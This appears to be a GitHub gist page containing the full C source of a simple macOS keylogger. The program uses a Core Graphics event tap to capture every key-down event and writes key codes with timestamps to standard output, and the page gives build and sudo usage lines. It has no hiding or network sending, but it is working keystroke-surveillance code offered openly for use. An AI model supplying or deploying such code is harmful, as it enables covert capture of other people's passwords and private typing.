Last active
August 29, 2015 14:01
-
-
Save mh61503891/26a69233353eb58694f2 to your computer and use it in GitHub Desktop.
A simple implementation of a keylogger for OS X.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This program is a simple implementation of a key logger for OS X. | |
// This key loggger requires sudo and outputs key codes and a time stamp to standard output. | |
// | |
// build: cc keylogger.c -o keylogger -framework ApplicationServices | |
// usage: sudo keylogger > keylogger.log | |
// author: Masayuki Higashino | |
#include <stdio.h> | |
#include <time.h> | |
#include <ApplicationServices/ApplicationServices.h> | |
CGEventRef on_tap(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) { | |
CGKeyCode key = CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode); | |
time_t now; time(&now); | |
printf("%d %d\n", (int)now, key); fflush(stdout); | |
return event; | |
} | |
int main(int argc, const char * argv[]) { | |
CGEventFlags flags = CGEventSourceFlagsState(kCGEventSourceStateCombinedSessionState); | |
CGEventMask mask = CGEventMaskBit(kCGEventKeyDown); | |
CFMachPortRef tap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, mask, on_tap, &flags); | |
if (!tap) { | |
fprintf(stderr, "This program requires sudo."); | |
return -1; | |
} | |
CFRunLoopSourceRef runloop = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, tap, 0); | |
CFRunLoopAddSource(CFRunLoopGetCurrent(), runloop, kCFRunLoopCommonModes); | |
CGEventTapEnable(tap, true); | |
CFRunLoopRun(); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment